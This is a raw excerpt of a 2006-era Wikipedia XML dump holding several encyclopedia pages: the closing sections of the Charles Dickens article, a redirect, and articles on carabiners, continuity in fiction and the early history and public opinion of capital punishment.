These novels, as with most of his novels, also employ somewhat incredible coicidences (for example, Oliver Twist turns out to be the lost nephew of the upper class family that randomly rescues him from the dangers of the pickpocket group). Such coincidences were a staple of the eighteenth-century picaresque novels (such as Henry Fielding's ''[[The History of Tom Jones, a Foundling|Tom Jones]]'') that Dickens enjoyed so much. So there is an intertextual aspect to this convention. However, to Dickens these were not just plot devices but an index of a Christian humanism that led him to believe that &quot;good&quot; wills out in the end, often in unexpected ways. Looking at this theme from a biographical context, Dickens's life, against many odds, led him from a disconsolate child forced to work long hours in a bottle factory at age 12 (his father was in the Marshalsea debtor's prison) to his status as the most popular novelist in England by the age of 27.

All authors incorporate autobiographical elements in their fiction, but with Dickens this is very noticeable, even though he took pains to cover up what he considered his shameful, lowly past. ''[[David Copperfield]]'' is one of the most clearly autobiographical but the scenes from ''[[Bleak House]]'' of interminable court cases and legal arguments could only come from a journalist who has had to report them. Dickens' own family was sent to prison for poverty, a common theme in many of his books, in particular the Marshalsea in ''[[Little Dorrit]]''. Little Nell in ''[[The Old Curiosity Shop]]'' is thought to represent Dickens' sister-in-law, Nicholas Nickleby's father and [[Wilkins Micawber]] are certainly Dickens' own father, and the snobbish nature of [[Philip Pirrip|Pip]] from ''[[Great Expectations]]'' is similar to the author himself. Dickens may have drawn on his childhood experiences, but he was also ashamed of them and would not reveal that this was where he got his realistic accounts of squalor. A shameful past in Victorian times could taint reputations, just as it did for some of his characters, and this may have been Dickens' own fear.

==Legacy==
[[Image:Oliver_twist1.jpg|thumb|212px|A scene from ''Oliver Twist'', from an early 20th Century edition.]]

Charles Dickens was a well known personality and his novels were immensely popular during his lifetime. His first full novel, ''The Pickwick Papers'' (1837), brought him immediate fame and this continued right through his career. He maintained a high quality in all his writings and, although rarely departing greatly from his typical &quot;Dickensian&quot; method of always attempting to write a great &quot;story&quot; in a somewhat conventional manner (the dual narrators of Bleak House are a notable exception). He experimented with varied themes, characterizations and [[genre]]s. Some of these experiments were more successful than others and the public's taste and appreciation of his many works have varied over time. He was usually keen to give his readers what they wanted, and the monthly or weekly publication of his works in episodes meant that the books could change as the story proceeded at the whim of the public. A good example of this are the American episodes in ''Martin Chuzzlewit'' which were put in by Dickens in response to lower than normal sales of the earlier chapters. In ''Our Mutual Friend'' the inclusion of the character of Riah was a positive portrayal of a [[Jewish]] character after he was criticised for the depiction of [[Fagin]] in ''[[Oliver Twist]]''.

His popularity has waned little since his death and he is still one of the best known and most read of English authors. At least 180 movies and TV adaptations based on Dickens' works help confirm his success. Many of his works were adapted for the stage during his own lifetime and as early as 1913 a silent film of ''The Pickwick Papers'' was made. His characters were often so memorable that they took on a life of their own outside his books. Gamp became a slang expression for an umbrella from the character [[Martin Chuzzlewit|Mrs Gamp]] and Pickwickian, Pecksniffian and Gradgrind all entered dictionaries due to Dickens' original portraits of such characters who were quixotic, hypocritical or emotionlessly logical. [[Sam Weller]], the carefree and irreverent valet of ''The Pickwick Papers'' was an early superstar, perhaps better known than his author at first. It is likely that ''A Christmas Carol'' is his best-known story, with new adaptations almost every year. It is also the most-filmed of Dickens's stories, many versions dating from the early years of cinema.  This simple [[morality play|morality tale]] with both pathos and its theme of redemption, for many, sums up the true meaning of Christmas and eclipses all other Yuletide stories in not only popularity, but in adding archetypal figures (''Scrooge'', Tiny Tim, the Christmas ghosts) to the Western cultural consciousness.

At a time when Britain was the major economic and political power of the world, Dickens highlighted the life of the forgotten poor and disadvantaged at the heart of empire. Through his journalism he campaigned on specific issues &amp;mdash; such as [[sanitation]] and the [[workhouse]] &amp;mdash; but his fiction was probably all the more powerful in changing public opinion in regard to class inequalities. He often depicted the exploitation and repression of the poor and condemned the public officials and institutions that allowed such abuses to exist. His most strident indictment of this condition is in ''Hard Times'' (1854), Dickens's only novel-length treatment of the industrial working class. In that work, he uses both vitriol and satire to illustrate how this marginalized social stratum was termed &quot;Hands&quot; by the factory owners, that is, not really &quot;people&quot; but rather only appendages of the machines that they operated. His writings inspired others, in particular journalists and political figures, to address such problems of class oppression. For example, the prison scenes in ''Little Dorrit'' and ''The Pickwick Papers'' were prime movers in having the [[Marshalsea]] and [[Fleet Prison]]s shut down. As [[Karl Marx]] said, Dickens &quot;issued to the world more political and social truths than have been uttered by all the professional politicans, publicists and moralists put together&quot; (qtd. in [[Peter Ackroyd|Ackroyd]] 720). The exceptional popularity of his novels, even those with socially oppositional themes (''Bleak House'', 1853; ''Little Dorrit'', 1857; Our Mutual Friend, 1865) underscored not only his almost preternatural ability to create compelling storylines and unforgettable characters, but also insured that the Victorian public confronted issues of social justice that had commonly been ignored.

His fiction, with often vivid descriptions of life in [[nineteenth-century]] England, has inaccurately and anachronistically come to globally symbolize [[Victorian era|Victorian]] society (1837-1901) as uniformly &quot;Dickensian,&quot; when in fact, his novels' time span is from the 1780s to the 1860s. In the decade following his death in [[1870]], a more intense degree of socially and philosophically pessimistic perspectives invested British fiction; such themes were in contrast to the religious faith that ultimately held together even the bleakest of Dickens's novels. Later Victorian novelists such as [[Thomas Hardy]] and [[George Gissing]] were influenced by Dickens, but their works display a lack or absence of religious belief and portray characters caught up by social forces (primarily via [[lower-class]] conditions) that steer them to tragic ends beyond their control. [[Samuel Butler]] ([[1835]]-[[1902]]), most notably in ''[[The Way of All Flesh]]'' ([[1885]]; pub. [[1903]]), also questioned religious faith but in a more [[upper-class]] milieu. 

Novelists continue to be influenced by his books; for example, such disparate current writers as [[Anne Rice]] and [[Tom Wolfe]] evidence direct Dickensian connections. Ultimately, Dickens stands today as a brilliant, innovative and sometimes flawed novelist whose stories and characters have become not only literary archetypes but also part of the public imagination.

== Adaptations of Dickens readings ==
There have been several performances of Dickens readings by [[Emlyn Williams]], [[Bransby Williams]] and also [[Simon Callow]] in the [[Mystery of Charles Dickens]] by [[Peter Ackroyd]].

===Dickens museums and festivals===
There are museums and festivals celebrating Dickens' life and works in many of the towns with which he was associated.
* The [[Charles Dickens Museum, London]] is the only one of Dickens' [[London]] homes to survive. He lived there only two years but in this time wrote ''The Pickwick Papers'', ''Oliver Twist'' and ''Nicholas Nickleby''. It contains a major collection of manuscripts, original furniture and memorabilia.
* '''Charles Dickens' Birthplace Museum''', [[Portsmouth]] is the house in which Dickens was born. It has been re-furnished in the likely style of 1812 and contains Dickens memorabilia.
* '''Dickens House Museum''', [[Broadstairs]], Kent is the house of Miss Mary Pearson Strong, the basis for Miss Betsey Trotwood in ''David Copperfield''. It is visible across the bay from the original Bleak House (also a museum until 2005) where ''David Copperfield'' was written. The museum contains memorabilia, general Victoriana and some of Dickens' letters. Broadstairs has held a '''Dickens Festival''' annually since 1937.
* A '''Dickens World''' theme park covering 71 500 square feet, and including a cinema and restaurants, is scheduled to open in [[Chatham, Kent|Chatham]] in 2007. It will be on the site of the formal naval dockyard where Dickens' father once worked in the Navy Pay Office.
* The '''Charles Dickens Centre''' in Eastgate House, [[Rochester, Kent|Rochester]], closed in 2004, but the garden containing the author's Swiss chalet is still open. The 16th-Century house, which appeared as Westgate House in ''The Pickwick Papers'' and the Nun's House in ''Edwin Drood'', will probably re-open under a related use. The city's annual '''Dickens Festival''' (summer) and Dickensian Christmas celebrations continue unaffected.
There also Dickens festivals across the world.
*The '''Riverside Dickens Festival''' in Riverside, California, USA includes literary studies as well as entertainments.
* '''The Great Dickens Christmas Fair''' has been held in San Francisco since the 1970s.  During the four or five weekends before Christmas, over 300 costumed performers mingle with and entertain thousands of visitors amidst the recreated full-scale blocks of Dickensian London.  This is the oldest, largest, and most successful of the modern Dickens festivals outside of England..

==Bibliography==
===Major novels===

*''[[The Pickwick Papers]]'' (1836)
*''[[Oliver Twist]]'' (1837&amp;ndash;1839)
*''[[Nicholas Nickleby]]'' (1838&amp;ndash;1839)
*''[[The Old Curiosity Shop]]'' (1840&amp;ndash;1841)
*''[[Barnaby Rudge]]'' (1841)
The Christmas books:
**''[[A Christmas Carol]]'' (1843)
**''[[The Chimes]]'' (1844)
**''[[The Cricket on the Hearth]]'' (1845)
**''[[The Battle of Life]]'' (1846)
*''[[Martin Chuzzlewit]]'' (1843&amp;ndash;1844)
*''[[Dombey and Son]]'' (1846&amp;ndash;1848)
*''[[David Copperfield (novel)|David Copperfield]]'' (1849&amp;ndash;1850)
*''[[Bleak House]]'' (1852&amp;ndash;1853)
*''[[Hard Times]]'' (1854)
*''[[Little Dorrit]]'' (1855&amp;ndash;1857)
*''[[A Tale of Two Cities]]'' (1859)
*''[[Great Expectations]]'' (1860&amp;ndash;1861)
*''[[Our Mutual Friend]]'' (1864&amp;ndash;1865)
*''[[The Mystery of Edwin Drood]]'' (unfinished) (1870)
*&quot;Hard Times (serial)&quot;

===Selected other books===
*''[[Sketches by Boz]]'' (1836)
*''[[American Notes]]'' (1842)
*''[[Pictures from Italy]]'' (1846)
*''[[The Life of Our Lord]]''  (1846, published in 1934)
*''[[A Child's History of England|A Child's History of England]]'' (1851&amp;ndash;1853)

===Short stories===
*&quot;Captain Murderer&quot;
*&quot;The Child's Story&quot;
*The Christmas stories:
**&quot;The Haunted Man and the Ghost's Bargain&quot; (1848)
**&quot;A Christmas Tree&quot;
**&quot;The Poor Relation's Story&quot;
**&quot;The Child's Story&quot;
**&quot;The Schoolboy's Story&quot;
**&quot;Nobody's Story&quot;
**&quot;The Seven Poor Travellers&quot;
**&quot;What Christmas Is As We Grow Older&quot;
*&quot;Doctor Marigold&quot;
*&quot;George Silverman's Explanation&quot;
*&quot;Going into Society&quot;
*&quot;The Haunted House&quot;
*&quot;Holiday Romance&quot;
*&quot;The Holly-Tree&quot;
*&quot;Hunted Down&quot;
*&quot;The Lamplighter&quot;
*&quot;A Message from the Sea&quot;
*&quot;Mrs Lirriper's Legacy&quot;
*&quot;Mrs Lirriper's Lodgings&quot;
*&quot;[[Mugby Junction]]&quot;
*&quot;Perils of Certain English Prisoners&quot;
*&quot;[[The Signalman]]&quot;
*&quot;Somebody's Luggage&quot;
*&quot;Sunday Under Three Heads&quot;
*&quot;Tom Tiddler's Ground&quot;
*&quot;The Trial for Murder&quot;
*&quot;Wreck of the Golden Mary&quot;


===Essays===
*''[[In Memoriam W. M. Thackeray]]''

===Articles===
*''[[A Coal Miner's Evidence]]''

==References==
* [http://www.gre.ac.uk/schools/nri/earth/prospect_stud/medroch.htm Rochester local history]
* [http://www.medway.gov.uk/ Uses of Eastgate House, Rochester]

==External links==
{{Wikisource author}}
{{wikiquote}}
{{commons|Charles Dickens}}
*'''Sources online'''
** {{gutenberg author|id=Charles_Dickens|name=Charles Dickens}}
** [http://www.dickens-literature.com/ Dickens Literature] &amp;mdash; Chapter-indexed, searchable versions of Dickens&amp;rsquo; works
** [http://www.charles-dickens.org Charles Dickens] HTML format of Dickens books
** [http://www.quotesandpoem.com/literature/ListofLiteraryWorks/Dickens__Charles Charles Dickens Books and Quotes]
** [http://www.victorianlondon.org/books/search.cgi The Dickens Search Engine] Search Dickens' books
** [http://www.dickenslive.com A Charles Dickens Journal] Timeline of Dickens' Life
*'''Miscellaneous'''
** [http://www.tellingtrails.co.uk/pages/individuals/dickenspage.html Charles Dickens in south-west London] Twickenham and Richmond
** [http://www.helsinki.fi/kasv/nokol/dickens.html A Dickens web page] with both original content and links to many other Dickens pages
** [http://www.fidnet.com/~dap1955/dickens/characters.html Dickens&amp;rsquo; Characters] some of the estimated 989 characters in Dickens
** [http://www.fidnet.com/~dap1955/dickens/dickens_london_map.html Dickens&amp;rsquo; London Map] Learn more about the London locations Dickens wrote about
**[http://www.lang.nagoya-u.ac.jp/~matsuoka/Dickens.html A comprehensive Dickens page]
**[http://wwwsoc.nii.ac.jp/dickens/genealogy/genealogy-e.html A genealogical tree of the Dickens family]
** [http://www.perryweb.com/Dickens Charles Dickens &amp;mdash; Gad&amp;rsquo;s Hill Place] Daily Dickens information!
** [http://www.dickensmuseum.com Dickens Museum] Situated in a former Dickens House, 48 Doughty Street, London, WC1
** [http://www.charlesdickensbirthplace.co.uk/ Dickens Birthplace Museum] Old Commercial Road, Portsmouth
** [http://www.dickenshouse.co.uk/museum.htm Dickens House Museum] 2 Victoria Parade, Broadstairs, Kent
** [http://www.broadstairsdickensfestival.co.uk/ Broadstairs Dickens Festival]
** [http://www.dickensfest.com/ International Dickens Festival]
** [http://www.dickensfair.com/ Dickens Christmas Fair] in San Francisco
** [http://reverent.org/bulwer-dickens.html Dickens or Bulwer?] A quiz to tell the prose of Charles Dickens from that of the worst writer in history of letters
** [http://librivox.org/a-christmas-carol-by-charles-dickens/ Free audiobook] of ''[[A Christmas Carol]]'' at [http://librivox.org/ LibriVox]
** [http://wiredforbooks.org/carol/ Unabridged dramatic audio production of &quot;A Christmas Carol&quot; - RealAudio]
** [http://wiredforbooks.org/peterackroyd/ 1991 audio interview with Peter Ackroyd, biographer of Charles Dickens. Interview by Don Swaim of CBS Radio - RealAudio]
**{{imdb name|id=0002042|name=Charles Dickens}}
*'''Critical analysis'''
** [http://www.online-literature.com/chesterton/dickensworks/ ''Appreciations and Criticisms of the Works of Charles Dickens''] by [[G. K. Chesterton]]
** [http://www.dickens-theme.pwp.blueyonder.co.uk Charles Dickens's Themes] An analysis of ''The Mystery of Edwin Drood'' and ''Nicholas Nickleby''
**[http://www.diderot.nl/Uitgeverij%20Diderot%20-%20Life%20of%20Charles%20Dickens-John%20Forster.htm Life of Charles Dickens] by [[John Forster]]
** [http://www.gutenberg.org/etext/16787 Life of Charles Dickens], by Frank Marzials, at Project Gutenberg. 1887 publication with lengthy bibliography.
**[http://www.fathom.com/course/21701768/index.html Charles Dickens: The Life of the Author] a seminar by [[Kenneth Benson]] from the [[New York Public Library]]




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[[Category:Fellows of the Royal Society of Arts|Dickens, Charles]]
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    </revision>
  </page>
  <page>
    <title>Computer Aided Design</title>
    <id>5885</id>
    <revision>
      <id>15904073</id>
      <timestamp>2004-06-05T23:46:40Z</timestamp>
      <contributor>
        <username>Mikkalai</username>
        <id>28438</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Computer-aided design]]</text>
    </revision>
  </page>
  <page>
    <title>Carabiner</title>
    <id>5898</id>
    <revision>
      <id>39956422</id>
      <timestamp>2006-02-17T02:03:00Z</timestamp>
      <contributor>
        <username>RudyB</username>
        <id>934842</id>
      </contributor>
      <text xml:space="preserve">''This is an article about climbing and safety hardware.  For an article about the weapon, see [[Karabiner 43]].''

A '''carabiner''' or '''karabiner''' (colloquially: ''crab'', ''krab'', or ''&lt;nowiki&gt;'&lt;/nowiki&gt;biner'') is a metal loop with a sprung or screwed gate. It can quickly and reversibly [[connection|connect]] components in safety-critical systems; for example, a common use is to attach a [[rope]] to a fixed anchor.

[[image:Carabiner2.jpg|right]]

Carabiners are widely used in sports requiring ropework, such [[climbing]], [[caving]], [[canyoning]], and [[sailing]], and in [[industrial rope access]] work, such as construction or window cleaning.

Carabiners used in climbing tend to be lighter and faster to use than carabiners used in industry.  For recreational climbing, almost all carabiners are made from [[aluminium]]. For [[rope rescue]]s and industrial uses, where the weight of the carabiner is not an important factor and larger working loads are encountered, steel carabiners are commonly used.  Some carabiners used in industry do not have a sprung swinging gate but have a screw shut gate that generally can only be opened and closed using a special tool.  In climbing, most karabiners do not have any locking device, due to the necessity to cut down on weight, and be able to quickly open and close one's karabiners with one hand.  Karabiners used for belaying climbers as they climb, however, will tend to be locking, or &quot;screwgate&quot; karabiners (see below).

The word comes from the German expression &quot;Karabinerhaken&quot;. Yet German climbers would always call it shortly &quot;Karabiner&quot;. Note that, in [[German Language|German]], &quot;Karabiner&quot; also means &quot;[[carbine]]&quot; (a short rifle).

==Mountaineering==
''See also: [[Mountaineering]]''

When sold for use in climbing in [[Europe]], karabiners must conform to standard EN 12275:1998
&quot;Mountaineering equipment - Connectors - Safety requirements and test methods&quot; which governs testing protocols, rated strengths, and markings.

There are broadly two sorts of karabiner used in climbing, with some subdivision within those: '''non-locking karabiners''' and '''locking karabiners'''.  Non-locking karabiners are the simplest, there is a sprung swinging gate that can be opened to insert or remove a rope, webbing sling, or other climbing hardware.  The gate will snap shut under pressure of the spring.  Locking karabiners have the same general shape as non-locking karabiners, but have an additional sleeve around the gate.  The sleeve can be released along the gate and when it is at one end of the gate the gate cannot be opened (except by releasing the sleeve and moving it to the other end of the gate).  This provides security against the karabiner opening accidentally, for example if struck against the rock or if caught in a loop of rope.  The sleeve can either be mounted on a screw thread or by a more complicated auto-lock system, which snaps back into place when the gate shuts.  ﻿Mountaineers also frequently use a short sling to connect two non-locking carabineers to each other, creating a [[quickdraw]].

Karabiners with one particular shape are known as '''HMS karabiners'''.  These are intended for [[belay|belaying]] with a [[Munter hitch]] (sometimes known as an Italian Hitch).

==Fashion==
Carabiners are also useful in everyday life, as [[keychain]]s and to connect items of luggage, for instance, low-quality carabiners are available  to those wishing to follow the trends set by climbers without investing in genuine safety equipment.  They vaguely resemble mountaineering carabiners, but are generally thinner, more colorful, and have an extremely simplified latching mechanism, without even a pin to allow the gate to carry load.

&lt;gallery&gt;
Image:screwgate_D_carabiner.saa.jpeg|Screwgate D-shaped carabiner
Image:screwgate_pear_carabiner.saa.jpeg|Screwgate pear-shaped carabiner
Image:Carabiner.png|Auto-lock carabiner
Image:Cheap carabiners.JPG|Inexpensive carabiners, entirely unsuitable for climbing
&lt;/gallery&gt;

[[Category:Climbing equipment]]
[[Category:German loanwords]]

[[cs:Karabina]]
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[[fr:Mousqueton]]
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    </revision>
  </page>
  <page>
    <title>Continuity (fiction)</title>
    <id>5899</id>
    <revision>
      <id>40361396</id>
      <timestamp>2006-02-20T01:33:59Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
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      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">:''For other uses of the word '' '''continuity''''', see [[Continuity]].''
In [[fiction]], '''continuity''' is consistency of the characteristics of persons, [[plot]], objects, places and events seen by the reader or viewer. It is of relevance to several [[media]].

Continuity is particularly a concern in the production of [[film]] and [[television]] due to the difficulty of rectifying an error in continuity after shooting has completed, although it also applies to other art forms, including [[novel]]s, [[comic]]s and [[animation]], though usually on a much broader scale. Most productions have a [[script supervisor]] (formerly &quot;script girl&quot;) on hand whose job is solely to pay attention to and attempt to maintain continuity across the chaotic and typically non-linear production shoot. This takes the form of a large amount of paperwork, photographs, and attention to and memory of large quantities of detail. It usually regards factors both within the scene and often even technical details including meticulous records of camera positioning and equipment settings. The use of a [[Polaroid camera]] was standard but has since been replaced by the advent of [[digital camera]]s.  All of this is done so that ideally all related shots can match, despite perhaps parts being shot thousands of miles and several months apart. It is a less conspicuous job, though, because if done perfectly, no one will ever notice.

In [[comic books]], '''continuity''' has also come to mean a set of contiguous events, sometimes said to be &quot;set in the same universe&quot; (see [[fictional crossover]]) or &quot;separate universes&quot; (see [[intercompany crossover]]).

Today, maintaining strong plot and character continuity is also a high priority for many writers of long-running television series. 

==Continuity errors==
While most continuity errors are subtle, such as changes in the level of drink in a character's glass or the length of a cigarette, others can be more noticeable, such as sudden drastic changes in appearance of a character, or the unexplained appearance of a character believed to be dead.  Such errors in continuity can ruin the illusion of realism, and affect [[suspension of disbelief]].  In [[Film|cinema]] special attention must be paid to continuity because films are rarely shot in the order in which they are presented: that is, a crew may film a scene from the end of a movie first, followed by one from the middle, and so on.  The shooting schedule is often dictated by location permit issues.  A character may return to [[Times Square]] in [[New York City]] several times throughout a movie, but as it is extraordinarily expensive to close off Times Square, those scenes will likely be filmed all at once in order to reduce permit costs.  Weather, the ambience of natural light, cast and crew availability, or any number of other circumstances can also influence a shooting schedule.  There are three main types of continuity errors.

===Editing errors===
Editing errors can occur when a character in a scene references a scene or incident that has not occurred yet.  

An example of an editing error can be seen in the film [[It's a Mad, Mad, Mad, Mad World]] (1963), where a scene of people climbing a slope at the start is seen from below and then replayed from above.

===Visual errors===
Visual errors are instant ''discontinuities'' occurring in visual media such as [[film]] and [[television]].  Items of clothing change colors, shadows get longer or shorter, items within a scene change place or disappear.

One example of a ''visual error'' occurs in the [[1998 in film|1998]] film ''[[Waking Ned Devine]]'', when two of the film's characters, Jackie and Michael, are walking through a storm towards Ned's house.  The umbrella they are under is black during their conversation as they walk towards the house (filmed from slightly above and to the front); yet after cutting to a lower shot (filmed from behind Jackie), Michael walks onscreen from the right holding an umbrella that is not black but beige, with a brown band at the rim. 

(Though visual continuity errors are logically confined to visual media, parallel mistakes can occur in text.  In &quot;[[The Miller's Prologue and Tale|The Miller's Tale]]&quot; in [[Chaucer]]'s ''[[The Canterbury Tales]]'' a door is ripped off its hinges only to be slowly closed again in the next scene.)

===Plot errors===
Plot errors reflect a failure in the consistency of the created fictional world. For example, a character might state he was an only child, yet later mention having a sister. In the TV show ''[[Cheers]]'', the character Frasier Crane's wife Lilith mentions Frasier's parents are both dead, but when the character was spun off and given his own show (''[[Frasier]]''), his father became a central character.

==Dealing with errors==
When continuity mistakes have been made, explanations are often proposed by either writers or fans to smooth over discrepancies. Fans sometimes make up explanations for such errors that may or may not be integrated into [[canon (fiction)|canon]]; this is known as [[fanwank|fanwanking]].  Often when a fan does not agree with one of the events in a story (such as the death of a favorite character), he or she decides to simply ignore that the event ever happened. This is known as [[Krypto-revisionism]].  Discarding all existing continuity and starting from scratch is known as [[reboot (continuity)|reboot]]ing.  A less extreme literary technique that erases one episode is called the [[reset button technique|reset button]]. 

Discrepancies in past continuity are sometimes made deliberately; this is known as [[retcon]]ning.

==Real time programs vs traditional films==

[[Television program]]s like ''[[24 (television)|24]]'', in which actors have to appear as if it is the same day for 24 consecutive episodes, have raised public recognition of continuity. However, traditional films have frequently had much same sort of the issues to deal with; film shoots may last several months and as scenes are frequently shot out of story sequence, footage shot weeks apart may be edited together as part of the same day's action in the completed film. In some ways, ''24'' presents a simpler situation, as costumes and hairstyles generally should ''not'' change very frequently; in many feature films a range of different hairstyles and costumes must be created, changed, and then recreated exactly, as various scenes are shot.

==External links==
*[http://www.moviemistakes.com/ Moviemistakes.com]
*[http://www.continuitycorner.com Continuity Corner]

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'''Capital punishment''', also called the '''death penalty''', is the execution of a convicted [[criminal]] as a [[punishment]] for a [[crime]] often called a ''capital offence'' or a ''capital crime''. Historically, the judicial execution of criminals and political opponents was a phenomenon of nearly all societies, and it was often also used as a means to suppress [[political dissent]]. Among democratic countries around the world, most Western and [[Latin America|Latin American]] ones have abolished capital punishment, while [[Democracy|democracies]] in Asia and Africa retain it. Among nondemocratic countries the use of the death penalty is common. 

In most places that practice capital punishment today, the death penalty is reserved as a punishment for certain [[Murder|murders]], [[espionage]], or [[treason]] or part of [[military justice]]. In some majority-[[Muslim]] countries, certain sexual crimes, including [[adultery]] and [[sodomy]], carry the death penalty. In many countries, drug trafficking is also a capital offense. In China, [[Trafficking in human beings|human trafficking]] and serious cases of [[corruption]] are also punished by the death penalty. In militaries around the world, [[courts-martial]] have sentenced capital punishments also for [[cowardice]], [[desertion]], [[insubordination]], and [[mutiny]].  

The death penalty is seen by some proponents as a more effective [[deterrent]] than [[life imprisonment]],while opponents argue that [[life imprisonment]] is an equally effective deterrent. Statistical studies have failed to show either argument to be true. 

== History ==
The use of formal execution extends back beyond recorded history. Most historical records as well as various primitive tribal practices indicate that the death penalty was a part of the communal justice system. Communal punishment for wrongdoing generally included compensation by the wrongdoer, [[corporal punishment]], [[shunning]], [[ostracism|banishment]] and execution. However, it should be noted that within a small community, crimes were rare and murder was almost always a crime of passion. Moreover, most would hesitate to inflict death on a member of the community. For this reason, execution and even banishment were extremely rare. Apology, compensation and shunning were enough as a form of justice.  

However, these are not an effective response to crimes committed by outsiders. Consequently, even small crimes including theft committed by outsiders were considered to be an assault on the community and were severely punished. The methods varied from beating and enslavement to executions. However, the response to crime committed by neighbouring tribes or communities included formal apology, compensation or [[blood feud|blood feuds]]. 

A [[Feud|Blood Feud]] or [[vendetta]] occurs when arbitration between families or tribes fails or an arbitration system is non-existent.  This form of justice was common before the emergence of an arbitration system based on state or organized religion.  It may result from crime, land disputes or a [[code of honour]]. &quot;Acts of retaliation underscore the ability of the social collective to defend itself and demonstrate to enemies (as well as potential allies) that injury to property, rights, or the person will not go unpunished.&quot;{{ref|waldmann}} However, it is often difficult to distinguish between a [[war]] of vendetta and conquest.

Elaborations of tribal arbitration of feuds included peace settlements often done in a religious context and compensation system. Compensation was based on the principle of ''substitution'' which might include material (eg. cattle, slave) compensation, exchange of brides or grooms, or payment of the blood debt.  Settlement rules could allow for animal blood to replace human blood, or transfers of property or [[blood money]] or in some case an offer of a person for execution. It should be noted that the person offered for execution did not have to be an original perpetrator of the crime because the system was based on tribes, not individuals. Blood feuds could be regulated at meetings, such as the Viking ''[[Thing (assembly)|thing]]s''.{{ref|thing}} Systems deriving from blood feuds may survive alongside more advanced legal systems or be given recognition by courts (e.g. [[trial by combat]]). One of the more modern refinements of the blood feud is the [[duel]].

In certain part of the world, nations in the form of ancient republics, monarchies or tribal oligarchies emerged.  These nations were often united by common linguistic, religious or family ties. Moreover, expansion of these nations often occurred by conquest of neighbouring tribes or nation.  Consequently, various classes of royalty, nobility, various commoners and slave emerged.  Accordingly, the systems of tribal arbitration were submerged into a more unified system of justice which formalised the relation between the different &quot;classes&quot; rather than &quot;tribes&quot;. The earliest and most famous example is [[Code of Hammurabi]] which set the different punishment and compensation according to the different class/group of victims and perpetrators. The [[Pentateuch]] ([[Old Testament]]) lays down the death penalty for [[kidnapping]], [[magic]], violation of the [[Sabbath]], [[blasphemy]], and a wide range of sexual crimes, although evidence suggests that actual executions were rare.{{ref|schabas}} A further example comes from [[Ancient Greece]], where the [[Athenian]] legal system was first written down by [[Draco]] in about 621 BC: the death penalty was applied for a particularly wide range of crimes. The word [[draconian]] derives from Draco's laws. Similarly, in medieval and early modern Europe, the death penalty was also used as a generalised form of punishment. For example, in 18th C. [[Britain]], there were 222 crimes which were punishable by death, including crimes such as cutting down a tree or stealing an animal.{{ref|mich-hist}}

The last several centuries has seen the emergence of modern nation states. Almost fundamental to the concept of nation state is the idea of citizenship. This caused justice to be increasingly associated with equality and universality, which in Europe saw an emergence of the concept of [[natural right]].  Another important aspect is that emergence of standing police forces and permanent penitential institutions. The death penalty become an increasingly unnecessary deterrent and prevention of minor crimes such as theft.  The 20th century was one of the bloodiest of the human history. Massive killing occurred as the resolution of war between nation states. A large part of execution was summary execution of enemy combatants.  Also, modern military organisations employed capital punishment as a means of maintaining military discipline. In the past, [[cowardice]], absence without leave, [[desertion]], [[insubordination]], [[looting]], shirking under enemy fire and disobeying orders were often crimes punishable by death. The method of execution since firearms came into common use has almost invariably been [[firing squad]]. Moreover, various authoritarian states,  for example those with fascist or communist governments, or dictatorships, employed the death penalty as a potent means of political oppression.  Partly as a response to such excessive punishment, civil organizations have started to place increasing emphasis on the concept of human rights and abolition of the death penalty.

==The death penalty worldwide==


===Public opinion===
Support for the death penalty varies widely. It is a highly contentious political issue in the U.S., because it is a part of [[culture war]] over the ongoing debate over the response to high crime rate. In other democracies, this is not the case. In democracies both in abolitionist Europe and in retentionist Asia, the existing policy in those countries has wide public support and receives little attention by politicians. In some abolitionist countries, the majority of the public support or has supported the death penalty. Abolition was often adopted due to political change, such as when countries shifted from authoritarianism to democracy, or it became an entry condition for the European Union. In Western Europe, abolition was initially brought in by a moratorium on the death penalty that later become a ''[[de facto]]'' ban. It is rare for the death penalty to be abolished due to an active public discussion of its validity.

In abolitionist countries, debate is sometimes revived by particularly brutal murders, though few countries have brought it back after abolition. However, in some instance, such as terrorist attacks, it has prompted some countries (such as Sri Lanka) to effectively end the moratorium on the death penalty. Some polls in Europe and Canada suggest that the death penalty has similar support there to that in the United States. Other polls show that Western European support of the death penalty dropped significantly in the years after abolition. In most Eastern European countries, there is still a majority for reintroduction. In retentionist countries, the debate is sometimes revived when miscarriage of justice occurs, though this tends to cause legislative efforts to &quot;improve&quot; the judicial process rather than to abolish the death penalty.  However, use of the death penalty is increasingly restrained in these countries, which is often seen as the main cause of high public support for the death penalty in countries such as Korea, Japan, or Taiwan.

A [[Gallup]] International poll from 2000 found that &quot;Worldwide support was expressed in favour of the death penalty, with just more than half (52%) indicating that they were in favour of this form of punishment.&quot; A break down of the numbers of support versus opposition: Worldwide 52%/39%, North America 66%/27%, Asia 63%/21%, Eastern Europe 60%/29%, Africa 54%/43%, Latin America 37%/55%, Western Europe 34%/60%.[http://www.gallup-international.com/]

In the U.S, polls show a majority support for death penalty. A [[Gallup]] Poll in 2005 found that 64% of the public voted in favour of capital punishment, and 56% preferred the death penalty versus 39% preferring life imprisonment.[http://poll.gallup.com/content/default.aspx?ci=20350] A Harris Poll in 2004 concluded that 69% of Americans supported the death penalty whilst only 22% were against it. 41% of people believed that it deterred murder, while 53% stated that there was not much effect. 36% of people believed that there should be more executions versus 21% favouring a decrease.{{ref|poll5}}

===International organizations===
A number of regional conventions prohibit the death penalty, most notably, the Sixth Protocol to the [[European Convention on Human Rights]]. However, most existing international treaty categorically exempt death penalty from prohibition in case of serious crime, most notably, [[International Covenant on Civil and Political Rights]], while some provide opotional protocol to abolish it.

Several international organisations have made the abolition of the death penalty a requirement of membership, most notably the [[European Union]] (EU) and the [[Council of Europe]]. The EU and the Council of Europe are willing to accept a [[moratorium]] as an interim measure. Thus, while [[Russia]] is a member of the Council of Europe, and practices the death penalty in law, it has not made use of it since becoming a member of the Council. Another example is [[Latvia]] which entered a moratorium in 1996. Latvia retains the death penalty in extraordinary circumstances (as does non-EU-member [[Albania]]), and is the only EU member not to have ratified the 13th Protocol to the European Convention on Human Rights (which prohibits the death penalty in all circumstances).  Latvia's parliament has, however, signed the 13th Protocol, and as an EU member Latvia has pledged to abolish the death penalty.

